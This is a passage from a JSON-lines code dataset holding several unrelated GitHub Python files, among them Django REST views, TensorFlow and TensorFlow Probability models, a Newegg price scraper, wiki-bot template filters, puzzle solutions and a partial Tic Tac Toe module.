self.port.close()\n","repo_name":"chrisdalke/pumpkin-carving-robot","sub_path":"scripts/grbl.py","file_name":"grbl.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35822477898","text":"from django.contrib.auth.models import User\nfrom rest_framework.permissions import IsAdminUser, IsAuthenticated\nfrom rest_framework.decorators import api_view, throttle_classes\nfrom rest_framework.throttling import AnonRateThrottle\nfrom rest_framework.response import Response\nfrom rest_framework.generics import (\n CreateAPIView,\n ListAPIView,\n RetrieveUpdateAPIView,\n)\nfrom rest_framework.serializers import ValidationError\nfrom .serializers import (\n RegistrationSerializer,\n UserSerializer,\n StudentRegistrationSerializer,\n StudentSerializer,\n TeacherRegistrationSerializer,\n TeacherSerializer,\n RetrieveUpdateUserSerializer,\n RetrieveUpdateStudentSerializer,\n RetrieveUpdateTeacherSerializer,\n RSSerializer,\n RetrieveUpdateRSSerializer,\n)\nfrom usr_val.models import Student, Teacher, ResearchStatement\nfrom usr_val.utils import sendVerificationEmail\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom rest_framework_simplejwt.serializers import TokenObtainPairSerializer\nfrom rest_framework_simplejwt.views import TokenObtainPairView\n\n\nclass MyTokenObtainPairSerializer(TokenObtainPairSerializer):\n def validate(self, attrs):\n data = super().validate(attrs)\n refresh = self.get_token(self.user)\n data['refresh'] = str(refresh)\n data['access'] = str(refresh.access_token)\n\n data['isStudent'] = self.user.groups.first().name == 'student'\n data['user'] = UserSerializer(self.user).data\n\n return data\n\n\nclass MyTokenObtainPairView(TokenObtainPairView):\n serializer_class = MyTokenObtainPairSerializer\n\n\nclass RegistrationView(CreateAPIView):\n serializer_class = RegistrationSerializer\n\n def perform_create(self, serializer):\n user = serializer.save()\n current_site = get_current_site(self.request)\n _ = sendVerificationEmail(domain=current_site.domain, user=user)\n # auto creation of profile\n if user.groups.first().name == 'student':\n profile = Student(user=user)\n else:\n profile = Teacher(user=user)\n profile.save()\n # print(msg)\n\n\nclass StudentRegistrationView(CreateAPIView):\n serializer_class = StudentRegistrationSerializer\n\n def get_serializer_context(self):\n context = super(StudentRegistrationView, self).get_serializer_context()\n context.update({\"request\": self.request})\n return context\n\n def perform_create(self, serializer):\n try:\n user = self.request.user\n except Exception as _:\n raise ValidationError('Could not get user')\n\n if user.groups.first().name != 'student': # checks if the user is actually a student\n raise ValidationError('Teacher cannot create Student profile.')\n\n if Student.objects.filter(user=user).exists():\n raise ValidationError('Profile already exists.')\n\n serializer.save(user=self.request.user)\n\n\nclass TeacherRegistrationView(CreateAPIView):\n serializer_class = TeacherRegistrationSerializer\n\n def get_serializer_context(self):\n context = super(TeacherRegistrationView, self).get_serializer_context()\n context.update({\"request\": self.request})\n return context\n\n def perform_create(self, serializer):\n try:\n user = self.request.user\n except Exception as _:\n raise ValidationError('Could not get user')\n\n if user.groups.first().name != 'teacher': # checks if the user is actually a teacher\n raise ValidationError('Student cannot create Teacher profile.')\n\n if Teacher.objects.filter(user=user).exists():\n raise ValidationError('Profile already exists.')\n\n serializer.save(user=self.request.user)\n\n\nclass AllUsersView(ListAPIView):\n queryset = User.objects.all()\n serializer_class = UserSerializer\n permission_classes = (IsAdminUser,)\n\n\nclass AllStudentsView(ListAPIView):\n queryset = Student.objects.all()\n serializer_class = StudentSerializer\n permission_classes = (IsAdminUser,)\n\n\nclass AllTeachersView(ListAPIView):\n queryset = Teacher.objects.all()\n serializer_class = TeacherSerializer\n permission_classes = (IsAdminUser,)\n\n\nclass BaseRetrieveUpdateView(RetrieveUpdateAPIView):\n permission_classes = (IsAuthenticated,)\n lookup_url_kwarg = 'username'\n\n def check_update_permissions(self, request, *args, **kwargs):\n user = request.user\n obj = self.get_object()\n if not user == obj:\n raise ValidationError(\"Can not change someone else's account!\")\n return True\n\n def put(self, request, *args, **kwargs):\n _ = self.check_update_permissions(request, *args, **kwargs)\n return self.update(request, *args, **kwargs)\n\n def patch(self, request, *args, **kwargs):\n _ = self.check_update_permissions(request, *args, **kwargs)\n return self.partial_update(request, *args, **kwargs)\n\n\nclass RetrieveUpdateUserView(BaseRetrieveUpdateView):\n queryset = User.objects.all()\n serializer_class = RetrieveUpdateUserSerializer\n lookup_field = 'username'\n\n def check_update_permissions(self, request, *args, **kwargs):\n user = request.user\n obj = self.get_object()\n if not user == obj:\n raise ValidationError(\"Can not change someone else's account!\")\n return True\n\n\nclass RetrieveUpdateStudentView(BaseRetrieveUpdateView):\n queryset = Student.objects.all()\n serializer_class = RetrieveUpdateStudentSerializer\n lookup_field = 'user__username'\n\n def check_update_permissions(self, request, *args, **kwargs):\n user = request.user\n obj = self.get_object()\n if not user == obj.user:\n raise ValidationError(\"Can not change someone else's Student account!\")\n return True\n\n\nclass RetrieveUpdateTeacherView(BaseRetrieveUpdateView):\n queryset = Teacher.objects.all()\n serializer_class = RetrieveUpdateTeacherSerializer\n lookup_field = 'user__username'\n\n def check_update_permissions(self, request, *args, **kwargs):\n user = request.user\n obj = self.get_object()\n if not user == obj.user:\n raise ValidationError(\"Can not change someone else's Faculty account!\")\n return True\n\n\n@api_view(['POST', ])\n@throttle_classes([AnonRateThrottle, ])\ndef resendVerificationView(request):\n data = request.data\n email = data.get('email')\n if email is None:\n raise ValidationError('Email must be provided.')\n response = {'msg': 'If the provided email exists, then the verification email is being sent.'}\n inactive_users = User.objects.filter(is_active=False)\n users = inactive_users.filter(email=email)\n if not users.exists():\n return Response(data={'msg': \"You either have activated account or you haven't created account yet\"})\n domain = get_current_site(request).domain\n\n _ = sendVerificationEmail(domain=domain, user=users.first())\n # print(msg)\n return Response(data=response)\n\n\nclass RSCreateView(CreateAPIView):\n serializer_class = RSSerializer\n\n def perform_create(self, serializer):\n try:\n user = self.request.user\n except Exception as _:\n raise ValidationError('Could not get user')\n\n if user.groups.first().name != 'student': # checks if the user is actually a student\n raise ValidationError('Teacher cannot create Research statement for their profile.')\n\n if ResearchStatement.objects.filter(student__user=user).exists():\n raise ValidationError('RS already exists. Please edit existing one.')\n stud_qs = Student.objects.filter(user=user)\n if not stud_qs:\n raise ValidationError('First create a profile for adding RS.')\n stud = stud_qs.first()\n serializer.save(student=stud)\n\n\nclass RetrieveUpdateRSView(BaseRetrieveUpdateView):\n queryset = ResearchStatement.objects.all()\n serializer_class = RSSerializer\n lookup_field = 'student__user__username'\n\n def check_update_permissions(self, request, *args, **kwargs):\n user = request.user\n obj = self.get_object()\n if not user == obj.student.user:\n raise ValidationError(\"Can not change someone else's Research Statement\")\n return True\n\n\n","repo_name":"sa-y-an/rportal","sub_path":"usr_val/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8279,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"70757199767","text":"from typing import Iterator\n\nimport black\nimport click\nimport pyperclip\nfrom pygments import highlight\nfrom pygments.formatters import get_formatter_by_name\nfrom pygments.lexers import get_all_lexers, get_lexer_by_name\nfrom pygments.styles import get_all_styles, get_style_by_name\n\n\ndef get_short_lexers() -> Iterator[str]:\n for lex in get_all_lexers():\n if len(lex[1]) > 0:\n yield lex[1][0]\n\n\n@click.command()\n@click.option(\n \"--language\",\n \"-l\",\n type=click.Choice(list(get_short_lexers()) + [\"auto\"]),\n help=\"Programming language to highlight\",\n default=\"python\",\n)\n@click.option(\"--fontsize\", \"-f\", type=click.INT, help=\"Fontsize of resulting text\", default=60)\n@click.option(\n \"--style\",\n \"-s\",\n type=click.Choice(list(get_all_styles())),\n help=\"Theme of resulting text\",\n default=\"solarized-dark\",\n)\n@click.option(\n \"--inp\",\n \"-i\",\n type=click.Choice([\"clipboard\", \"editor\"]),\n default=\"clipboard\",\n help=\"What is the source of code\",\n)\n@click.option(\n \"--line-width\", \"-w\", type=click.INT, default=100, help=\"python only. Format code to fit width\"\n)\ndef make_highlight(language, fontsize, style, inp, line_width) -> None:\n \"\"\"\n Highlight code for keynote.app from clipboard and save result to clipboard.\n\n STYLE Style for code\n\n FONTSIZE Font size to use\n\n LANGUAGE Programming language of source code\n\n INP What is the source of code\n\n LINE-WIDTH python only. Format code to fit width\n \"\"\"\n lexer = get_lexer_by_name(language)\n click.echo(f\"Using lexer {lexer}\")\n code = (\n pyperclip.paste()\n if inp == \"clipboard\"\n else click.edit(text=pyperclip.paste(), extension=lexer.filenames[0][1:])\n )\n if language == \"python\":\n code = black.format_str(code, mode=black.Mode(line_length=line_width))\n click.echo(f\"Got code from clipboard that starts with {click.style(code[:20], fg='blue')}...\")\n res = highlight(\n code,\n lexer,\n get_formatter_by_name(\"rtf\", style=get_style_by_name(style), fontsize=fontsize),\n )\n click.echo(\"Highlighted\")\n pyperclip.copy(res)\n click.echo(\"Done!\")\n\n\ndef main():\n return make_highlight()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"churnikov/keynote-highlight","sub_path":"keynote_highlight/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10156507160","text":"#coding=utf-8\n\n## version1.0\n## 实现简单卷积神经网络对MNIST数据集进行分类\n## conv2d + activation + pool + fc\n\nimport tensorflow as tf\n\n#设置算法超参数\nlearning_rate_init = 0.001\ntraining_epochs = 1\nbatch_size = 100\ndisplay_step = 10\n\n#Network Parameters\nn_input = 784 #MNIST data input(img shape:28*28)\nn_class = 10 #MNIST total classes(0-9 digits)\n\n#根据指定的维数返回初始化好的指定名称和权重 Variable\ndef WeightsVariable(shape,name_str,stddev=0.1):\n initial = tf.random_normal(shape=shape,stddev=stddev,dtype=tf.float32)\n return tf.Variable(initial,dtype=tf.float32,name=name_str)\n\n#根据指定的维数返回初始化好的指定名称的偏置Variable\ndef BiasesVariable(shape,name_str,stddev=0.00001):\n initial = tf.random_normal(shape=shape, stddev=stddev, dtype=tf.float32)\n return tf.Variable(initial,dtype=tf.float32,name=name_str)\n\n#2维卷积层(conv2d + bias)封装\ndef Conv2d(x,W,b,stride=1,padding='SAME'):\n with tf.name_scope('Wx_b'):\n y = tf.nn.conv2d(x,W,strides=[1,stride,stride,1],padding=padding)\n y = tf.nn.bias_add(y,b)\n return y\n\n#非线性激活层的封装\ndef Activation(x,activation=tf.nn.relu,name='relu'):\n with tf.name_scope(name):\n y = activation(x)\n return y\n\n#2维池化层pool的封装\ndef Pool2d(x,pool=tf.nn.max_pool,k=2,stride=2):\n return pool(x,ksize=[1,k,k,1],strides=[1,stride,stride,1],padding='VALID')\n\n#全连接层activate(wx+b)的封装\ndef FullyConnnected(x,W,b,activate=tf.nn.relu,act_name='relu'):\n with tf.name_scope('Wx_b'):\n y = tf.matmul(x,W)\n y = tf.add(y,b)\n with tf.name_scope(act_name):\n y = activate(y)\n return y\n\n#调用上面写的函数构造计算图\nwith tf.Graph().as_default():\n #计算图输入\n with tf.name_scope('Inputs'):\n X_origin = tf.placeholder(tf.float32,[None,n_input],name='X_origin')\n Y_true = tf.placeholder(tf.float32, [None, n_class], name='Y_true')\n #把图像数据从N*784的张量转换为N*28*28*1的张量\n X_image = tf.reshape(X_origin,[-1,28,28,1])\n #计算图向前推断过程\n with tf.name_scope('Inference'):\n #第一个卷积层(conv2d + biase)\n with tf.name_scope('Conv2d'):\n weights = WeightsVariable(shape=[5,5,1,16],name_str='weights')\n biases = BiasesVariable(shape=[16],name_str='biases')\n conv_out = Conv2d(X_image,weights,biases,stride=1,padding='VALID')\n\n #非线性激活层\n with tf.name_scope('Activate'):\n activate_out = Activation(conv_out,activation=tf.nn.relu,name='relu')\n\n #第一个池化层(max pool 2d)\n with tf.name_scope('Pool2d'):\n pool_out = Pool2d(activate_out,pool=tf.nn.max_pool,k=2,stride=2)\n\n #将二维特征图变换为一维特征向量\n with tf.name_scope('FeatsReshape'):\n features = tf.reshape(pool_out,[-1,12*12*16])\n\n #第一个全连接层(fully connected layer)\n with tf.name_scope('FC_Linear'):\n weights = WeightsVariable(shape=[12 * 12 * 16,n_class],name_str='weights')\n biases = BiasesVariable(shape=[n_class],name_str='biases')\n Ypred_logits = FullyConnnected(features,weights,biases,activate=tf.identity,act_name='identity') # activate=tf.identity恒等映射,相当于作了线性转换\n\n #定义损失层(loss layer)\n with tf.name_scope('Loss'):\n cross_entropy_loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels = Y_true,logits = Ypred_logits))\n\n #定义优化训练层(train layer)\n with tf.name_scope('Train'):\n learning_rate = tf.placeholder(tf.float32)\n optimizer = tf.train.AdamOptimizer(learning_rate = learning_rate)\n trainer = optimizer.minimize(cross_entropy_loss)\n\n #定义模型评估层(evaluate layer)\n with tf.name_scope('Evaluate'):\n correct_pred = tf.equal(tf.arg_max(Ypred_logits,1),tf.arg_max(Y_true,1))\n accuracy = tf.reduce_mean(tf.cast(correct_pred,tf.float32))\n\n #添加所有变量的初始化节点\n init = tf.global_variables_initializer()\n\n print('把计算图写入事件文件,在TensorBoard里面查看')\n summary_writer = tf.summary.FileWriter(logdir='../logs',graph=tf.get_default_graph())\n summary_writer.close()","repo_name":"lovejing0306/TensorFlow","sub_path":"book/001_tensorflow_actual_combat/chapter_04/cnn_simlpe_00.py","file_name":"cnn_simlpe_00.py","file_ext":"py","file_size_in_byte":4339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9259174348","text":"import numpy as np\n\nclass Cell:\n \n def __init__(self, vx, vy, vz):\n self.vx = np.array(vx)\n self.vy = np.array(vy)\n self.vz = np.array(vz)\n self.trans = np.stack((self.vx, self.vy, self.vz), axis=-1)\n self.volume = np.abs(np.dot(self.vx, np.cross(self.vy, self.vz)))\n return\n\n","repo_name":"maxhutch/packtets","sub_path":"packtets/geometry/cell.py","file_name":"cell.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2902871223","text":"import bpy\nfrom ..Common import image_object\n\ndef multiple_image_objects(context):\n # type: (bpy.ContextType) -> bpy.Optional[list[bpy.EmptyImageObjectTypeWithData]]\n image_objects = [] # type: list[bpy.EmptyImageObjectTypeWithData]\n if context.selected_objects is None:\n return None\n for o in context.selected_objects:\n image_o = image_object(o)\n if image_o is None:\n # if any are not an image object then\n # quite\n return None\n image_objects.append(image_o)\n if len(image_objects) < 2:\n return None\n return image_objects\n","repo_name":"mmulet/font-game-engine","sub_path":"blender/fontemon_blender_addon/SceneTreeEditor/multiple_image_objects.py","file_name":"multiple_image_objects.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":138,"dataset":"github-code","pt":"31"} +{"seq_id":"23711325700","text":"import fileinput\n\n# we start from last day and we check what is a last possible day where we can take that bus\n# then we move to a previous one if that one can be taken on the same day we remember it, otherwise we find earlier day\n# and with that we move to a first possible one\n\nfolder_name = \"2020-kickstart-round-b\"\nfile_name = \"b_bus_routes_test.in\"\n\n\ndef main():\n tests_no = 0\n\n file_input = open(\"./\" + folder_name + \"/input/\" + file_name, \"r\")\n # file_input = open(\"./input/\" + file_name, \"r\")\n # file_input = fileinput.input()\n\n line = file_input.readline().strip()\n tests_no = int(line)\n\n test_id = 0\n while test_id < tests_no:\n line = file_input.readline().strip()\n routes_no, days_no = [int(x) for x in line.strip().split(\" \")]\n\n line = file_input.readline().strip()\n occurs = [int(x) for x in line.strip().split(\" \")]\n\n first_day = days_no\n for o in reversed(occurs):\n a = first_day // o\n day = a * o\n first_day = min(day, first_day)\n\n print(\"Case #%d: %d\" %(test_id + 1, first_day))\n\n test_id += 1\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"mbukowski/code-jam","sub_path":"2020-kickstart-02-round-b/b_bus_routes.py","file_name":"b_bus_routes.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9922541886","text":"import tensorflow as tf\nimport tensorflow_probability as tfp \nimport numpy as np\nimport time\nimport sys\n\n@tf.function\ndef forward(x: tf.Tensor, weights: list[tf.Tensor], activations: list[callable]):\n \"\"\"Calculates the forward pass of the neural network\n\n Args:\n x (tf.Tensor with dtype tf.float32):\n Input features of shape (num_points, num_features)\n weights (List[tf.Tensor]):\n List containing the weights of the neural network. \n Assumed structure: weights = [kernel_0, bias_0, kernel_1, bias_1, ..., kernel_L, bias_L]\n activations (List[Callable]):\n List of activation functions. Must be Python callables.\n\n Returns:\n The result of the forward pass. Shape (num_chains, num_points, num_outputs) \n \"\"\"\n kernel = weights[::2]\n bias = weights[1::2]\n for w, b, activation in zip(kernel, bias, activations):\n x = activation(tf.matmul(x, w) + b[..., None, :])\n return x\n\ndef get_target_log_prob_fn(x: tf.Tensor, y: tf.Tensor, activations: list[callable]):\n \"\"\" Returns the target log probability function of the neural network model.\n\n Args:\n x (tf.Tensor):\n Input features of shape (num_points, num_features)\n y (tf.Tensor):\n Targets of shape (num_points, num_outputs)\n activations (List[Callable]):\n List of activation function used with in the neural network.\n Must consist of Python callables.\n\n Returns:\n Python Callable with the proper syntax for usage with \n TensorFlow-Probability's MCMC samplers. \n \n \"\"\"\n def log_posterior_fn(*weights):\n return log_prior_fn(weights) + log_likelihood_fn(x, y, weights, activations)\n return log_posterior_fn\n\n@tf.function\ndef log_prior_fn(weights: list[tf.Tensor], lamb: float = 1e-3):\n \"\"\"Calculates the log prior of the weights of the neural network.\n The prior is assumed to be Gaussian.\n\n Args:\n weights (List[tf.Tensor]):\n List containing the weights of the neural network. \n Assumed structure: weights = [kernel_0, bias_0, kernel_1, bias_1, ..., kernel_L, bias_L]\n lamb (float):\n Regularization strength. Default: `lamb=1e-3`.\n\n Returns:\n The calculated log prior as a tf.Tensor of shape (num_chains,)\n \"\"\"\n kernel, bias = weights[::2], weights[1::2]\n res = 0\n for w, b in zip(kernel, bias):\n res += tf.reduce_sum(w ** 2, axis=(-1, -2))\n res += tf.reduce_sum(b ** 2, axis=-1)\n return 0.5 * lamb * res\n\n@tf.function\ndef log_likelihood_fn(x: tf.Tensor, y: tf.Tensor, weights: list[tf.Tensor], activations: list[callable]):\n \"\"\"Calculates the Log likelihood given a dataset (x, y),\n and the weights and activations of the neural network.\n\n Args:\n x (tf.Tensor):\n Input features of shape (num_points, num_features)\n y (tf.Tensor):\n Target of shape (num_points, num_outputs)\n\n Returns:\n The calculacted log likelihood as a tf.Tensor of shape (num_chains,)\n \"\"\"\n y_pred = forward(x=x, weights=weights, activations=activations)\n return 0.5 * tf.reduce_sum((y_pred - y) ** 2, axis=(-1,-2))\n\ndef get_weights(layers: list[int], num_chains: int, mean: float = 0.0, stddev: float = 1.0):\n \"\"\"Initates the weights of the neural network model from \n a Gaussian prior.\n\n Args:\n layers (List[int]): \n List specifying the nodes per layer. \n Structure: layers = [num_features, hidden_layer_1, ..., hidden_layer_L, num_outputs]\n num_chains (int):\n Number of independent Markov chains to run with the MCMC sampler.\n mean (float):\n Mean of the Gaussian prior\n stddev (float):\n Standard deviation of the Gaussian prior.\n \n Returns:\n List of weights of the neural network.\n Structure: weights = [kernel_0, bias_0, kernel_1, bias_1, ..., kernel_L, bias_L]\n \"\"\"\n weights = []\n for n, m in zip(layers[:-1], layers[1:]):\n w = tf.random.normal(shape=(num_chains, n, m), mean=mean, stddev=stddev)\n b = tf.random.normal(shape=(num_chains, m), mean=mean, stddev=stddev)\n weights.extend([w, b])\n return weights\n\n@tf.function\ndef sample_chain(*args, **kwargs):\n \"\"\"Wrapper around tfp.mcmc.sample_chain compiled with tf.function\n Yields a significant speedup.\n \"\"\"\n return tfp.mcmc.sample_chain(*args, **kwargs)\n\n\n\ndef main():\n n_train = 1000\n x_train = tf.random.normal(shape=(n_train, 1), mean=0.0, stddev=3.0)\n f = lambda x: x * tf.math.cos(x) * tf.math.sin(x)\n y_train = f(x_train)\n\n layers = [1, 10, 10, 1]\n activations = [tf.nn.swish, tf.nn.swish, tf.identity]\n num_results = 1000\n num_burnin_steps = 1000\n num_chains = 10\n weights = get_weights(layers=layers, num_chains=num_chains)\n\n kernel = tfp.mcmc.HamiltonianMonteCarlo(\n num_leapfrog_steps=100,\n step_size=0.001,\n target_log_prob_fn=get_target_log_prob_fn(x=x_train, y=y_train, activations=activations)\n )\n\n kernel = tfp.mcmc.DualAveragingStepSizeAdaptation(\n inner_kernel=kernel,\n num_adaptation_steps = int(0.8 * num_burnin_steps)\n )\n\n start = time.perf_counter()\n chain = sample_chain(\n num_results=num_results,\n num_burnin_steps=num_burnin_steps,\n kernel=kernel,\n trace_fn=None,\n current_state=weights,\n )\n end = time.perf_counter()\n timeused = end - start \n print(\"timeused = \", timeused, \" seconds\")\n\n\n\nif __name__ == \"__main__\":\n with tf.device(\"/CPU:0\"):\n main()","repo_name":"reneaas/BNN-Estimation-of-NLO-Cross-Sections","sub_path":"code/bnn_functional/bnn.py","file_name":"bnn.py","file_ext":"py","file_size_in_byte":5617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9466575961","text":"from bs4 import BeautifulSoup\r\nimport requests\r\nimport re\r\n\r\nsearch_term = input(\"What product do you want to search for today? \")\r\n\r\nurl = f\"https://www.newegg.com/p/pl?d={search_term}&N=4131\"\r\n# &N=4131 means will only search for products in stock\r\npage = requests.get(url).text\r\ndoc = BeautifulSoup(page, \"html.parser\")\r\n\r\n\"\"\"\r\nTo find how many pages of related products given above search_term:\r\nTurn page_text output into string, split string to pull out number\r\nof pages per related search term then cast as integer\r\n\"\"\"\r\npage_text = doc.find(class_=\"list-tool-pagination-text\").strong\r\npages = int(str(page_text).split(\"/\")[-2].split(\">\")[-1][:-1])\r\n\r\nsearch_items_found = {}\r\n\r\nfor page in range(1, pages + 1):\r\n url = f\"https://www.newegg.com/p/pl?d={search_term}&N=4131&page={page}\"\r\n page = requests.get(url).text\r\n doc = BeautifulSoup(page, \"html.parser\")\r\n div = doc.find(class_=\"item-cells-wrap border-cells items-grid-view four-cells expulsion-one-cell\")\r\n\r\n # Use re.compile to match text that contains search_term--not exclusively search_term\r\n items = div.find_all(text=re.compile(search_term))\r\n for item in items:\r\n parent = item.parent\r\n if parent.name != \"a\":\r\n continue\r\n link = parent['href']\r\n parent2 = item.find_parent(class_=\"item-container\")\r\n try:\r\n price = parent2.find(class_=\"price-current\").strong.string\r\n search_items_found[item] = {\"price\": int(price.replace(\",\", \"\")), \"link\": link}\r\n except:\r\n pass\r\n\r\nitems_sorted = sorted(search_items_found.items(), key=lambda x: x[1]['price'])\r\n\r\nfor item in items_sorted:\r\n print(item[0])\r\n print(f\"${item[1]['price']}\")\r\n print(item[1]['link'])\r\n print(\"----------break----------\")\r\n","repo_name":"TrevorDewalt/NeweggScraper","sub_path":"bs4_webscraper.py","file_name":"bs4_webscraper.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10338195226","text":"from datetime import datetime, timedelta\n\nfrom qiuwenbot.filter.filter import Filter, register_filter\nfrom qiuwenbot.utils import devide_parameters, get_template_regex\n\n\nclass RemoveExpiredTemplateFilter(Filter):\n \"\"\"Filter to remove a certain tag.\n\n Parameters\n ----------\n tag : str\n Tag name to remove.\n \"\"\"\n\n def __init__(self, template: str):\n self.template = template\n self.template_regex = get_template_regex(template, end=r\"\\s*\")\n\n def filter(self, text: str) -> str:\n matched = self.template_regex.finditer(text)\n for mm in matched:\n rm = False\n params = mm.group(\"params\")\n params_dict = devide_parameters(params)\n time = params_dict.get(\"time\")\n if time is None:\n rm = True\n else:\n try:\n isotime = datetime.fromisoformat(time)\n except ValueError:\n rm = True\n else:\n # a month ago\n if (\n isotime.timestamp()\n < (datetime.now() - timedelta(days=31)).timestamp()\n ):\n rm = True\n if rm:\n text = text.replace(mm.group(0), \"\")\n return text\n\n @property\n def log(self) -> str:\n return f\"移除已过期的[[Template:{self.template}|{self.template}]]模板\"\n\n\n@register_filter\nclass RemoveExpiredCurrentFilter(RemoveExpiredTemplateFilter):\n \"\"\"Filter to remove {{current}}.\"\"\"\n\n def __init__(self):\n super().__init__(\"current\")\n\n\n@register_filter\nclass RemoveExpiredDeadFilter(RemoveExpiredTemplateFilter):\n \"\"\"Filter to remove {{近期逝世}}.\"\"\"\n\n def __init__(self):\n super().__init__(\"近期逝世\")\n\n\n@register_filter\nclass RemoveExpiredDeadFilter2(RemoveExpiredTemplateFilter):\n \"\"\"Filter to remove {{最近逝世}}.\"\"\"\n\n def __init__(self):\n super().__init__(\"最近逝世\")\n\n\n@register_filter\nclass RemoveExpiredDeadFilter3(RemoveExpiredTemplateFilter):\n \"\"\"Filter to remove {{recent death}}.\"\"\"\n\n def __init__(self):\n super().__init__(\"recent death\")\n","repo_name":"njzjz/qiuwenbot","sub_path":"qiuwenbot/filter/expired_templates.py","file_name":"expired_templates.py","file_ext":"py","file_size_in_byte":2207,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"71332667288","text":"from main import app\nfrom unittest.mock import Mock\nimport pytest\n\n@pytest.mark.parametrize('name, code',(\n ('/', 200),\n ('/popular/', 200),\n ('/nowplaying/', 200),\n ('/toprated/', 200),\n ('/upcoming/', 200),\n ('/popular/', 200),\n ('/search', 200),\n ('/today', 200)\n))\n\n\ndef test_websites(name, code, monkeypatch):\n api_mock = Mock(return_value={'results': []})\n monkeypatch.setattr(\"main.popular\", api_mock)\n with app.test_client() as client:\n response = client.get(name)\n assert response.status_code == code","repo_name":"pakupek/movies_catalogue","sub_path":"tests/flask_test.py","file_name":"flask_test.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74493322009","text":"import networkx as nx\nfrom main.models import Quantified\nimport operator\n\nG = nx.Graph()\nif G.number_of_nodes() == 0:\n\tfor user in Quantified.objects.all():\n\t\tG.add_node(user.userID)\nif G.number_of_edges() == 0:\n\tusers = Quantified.objects.all()\n\tnum = G.number_of_nodes()\n\tfor n in range(1, num+1):\n\t\tfor i in range(1, n):\n\t\t\tif i == n:\n\t\t\t\tcontinue\t\t\t\n\t\t\tG.add_edge(users[i-1].userID, users[n-1].userID, weight = 1.0)\n\ndef add_user(req_userID):\n\tG.add_node(req_userID)\n\tfor other_user in Quantified.objects.all():\n\t\tif other_user.userID != req_userID:\n\t\t\tG.add_edge(req_userID, other_user.userID, weight = 1.0)\n\ndef update_edge(user1, user2, similarity_metric):\n\tG.add_edge(user1, user2, weight = similarity_metric)\n\ndef get_friends(req_userID):\n\tuser_list = {req_userID:1}\n\tfor other_user in Quantified.objects.all():\n\t\tif other_user.userID != req_userID:\n\t\t\tuser_list[other_user.userID] = G.get_edge_data(req_userID, other_user.userID)['weight']\n\tsorted_user_list = sorted(user_list.items(), key = operator.itemgetter(1))\n\t##sorted_user_list[n][0] -> gives the nth key with lowest value\n\tu_list = [i[0] for i in sorted_user_list]\n\treturn u_list[:6]\n\t#return user_list\n\t","repo_name":"leroyjvargis/friendbook","sub_path":"server/main/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36199672215","text":"import random\nimport datetime\n\n# Take two lists, say for example these two:\n\na = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89]\nb = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]\n# and write a program that returns a list that contains only the elements that are common between the lists (without duplicates). \n# Make sure your program works on two lists of different sizes.\n\n# Extras:\n\n# Randomly generate two lists to test this\n# Write this in one line of Python (don’t worry if you can’t figure this out at this point - we’ll get to it soon)\n\nfinalList = []\nfor x in a:\n if x in b:\n if x not in finalList:\n finalList.append(x)\nelse: \n print(finalList)\n\nnow = datetime.datetime.now()\nrandSizeOfList = random.randint(10, now.second * 2)\n\nlist1 = []\nfor x in range(1, randSizeOfList):\n list1.append(random.randint(1, 500))\n\nrandSizeOfList = random.randint(10, now.second * 2)\n\nlist2 = []\nfor x in range(1, randSizeOfList):\n list2.append(random.randint(1, 500))\n\nprint(list1)\nprint(list2)\n\nfinalList = []\nfor x in list1:\n if x in list2:\n if x not in finalList:\n finalList.append(x)\nelse: \n print(finalList)\n\n# after exercise 14\nprint(set([x for x in list1 if x in list2]))","repo_name":"sengaigibon/pythonhomework","sub_path":"ex5.py","file_name":"ex5.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34205061515","text":"#!/usr/bin/env python3\n\nf = open(\"input.txt\", 'r');\n\ntable = {};\npos = 0;\nresult = 0;\n\nfor line in f:\n table.append(int(line));\n\nprint(table);\n\nwhile True:\n try:\n a=table[pos];\n #print(\"a = {} pos = {}\\n\".format(a,pos));\n if (a >= 3):\n table[pos] = a-1;\n else:\n table[pos] = a+1;\n pos+=a;\n result+=1;\n except KeyError:\n print(\"result is {}\\n\".format(result));\n quit();\n\n","repo_name":"Tomo59/advent_of_code_2017","sub_path":"day5/part2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72688599767","text":"from src.utils.game import wait_for_player\nfrom discord import Embed\n\nplayer_dict = {}\n\n\"\"\"\n This module manages a game of Tic Tac Toe\n\"\"\"\n\n\ndef get_printable(cases):\n result = cases['↖'] + cases['⬆'] + cases['↗'] + \"\\n\" + \\\n 